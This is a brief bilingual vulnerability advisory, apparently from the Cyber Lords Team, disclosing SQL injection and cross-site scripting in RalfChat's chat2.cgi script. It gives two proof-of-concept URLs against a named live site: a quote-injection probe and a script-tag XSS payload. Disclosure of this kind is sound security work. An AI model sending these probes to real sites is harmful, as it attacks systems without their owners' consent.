Sql-injection in RalfChat

Advisory: Sql-injection in RalfChat

Home Page: http://www.ralfchat.de

Уязвимость/Vulnerability:
Sql-injection, Cross Site Scripting

Уязвимый скрипт/Vulnerable script: chat2.cgi

http://chat.shaonline.ru/cgi-bin/chat2.cgi?action=userinfo&infoabout=Fear'

http://chat.shaonline.ru/cgi-bin/chat2.cgi?action=userinfo&infoabout=Fear"><script>alert()</script><"

Cyber Lords Team
www.cyberlords.net